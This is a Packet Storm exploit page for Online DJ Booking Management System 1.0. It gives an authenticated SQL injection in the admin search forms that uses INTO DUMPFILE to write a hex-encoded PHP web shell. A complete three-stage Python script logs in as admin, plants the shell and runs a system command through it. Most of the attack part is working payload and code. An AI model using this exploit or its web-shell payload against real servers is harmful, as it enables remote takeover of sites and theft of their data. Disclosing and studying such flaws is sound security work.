exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution
Posted Jul 12, 2020
Authored by gh1mau

Online DJ Booking Management System Project Report version 1.0 remote SQL injection exploit that achieves code execution.

tags | exploit, remote, code execution, sql injection
SHA-256 | 2f7e394601dd1cd3ea2d43b2b5920d110f9cee4c9f13bb6fe13e628a829cc026

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution

Change Mirror Download
# Exploit Title: Online DJ Booking Management System Project Report - RCE Through SQLi (Authenticated User - admin)
# Date: 2020-07-12
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11402
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
----------------
1) /admin/user-search.php
2) /admin/booking-search.php


Vulnerable Code:
----------------

1) /admin/user-search.php
line 58: $sdata=$_POST['searchdata'];

2) /admin/booking-search.php
line 58: $sdata=$_POST['searchdata'];


Vulnerable Issue:
-----------------
Both line 58: $sdata=$_POST['searchdata']; (/admin/user-search.php and /admin/booking-search.php ) has no proper sanitization

POC:
----
[+] Inject the following payload inside the Search form

-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/odms/1.php'-- -


Python Script POC:
------------------

import requests

#this script is for POC purpose, you could add your own error checking mechanism

username = "admin"
password = "Test@123"
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"
path = "%27C%3A%2FUwAmp%2Fwww%2Fodms%2F1.php%27"
command = "whoami"

print("[+] Stage 1 : Login as admin")

url1 = "http://localhost:80/odms/admin/login.php"

payload1 = "username=" + username + "&password=" + password + "&login="
headers1 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/odms/admin/login.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "41",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url1, data=payload1, headers=headers1)


print("[+] Stage 2 : Injecting Web Shell")


url2 = "http://localhost:80/odms/admin/user-search.php"

payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="
headers2 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/odms/admin/user-search.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "46",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url2, data=payload2, headers=headers2)



print("[+] Stage 3 : Run command\n")

url3 = "http://localhost:80/odms/1.php?gh1mau=" + command

payload3 = ""
headers3 = {
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}

response = requests.request("GET", url3, data=payload3, headers=headers3)

print(response.text)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close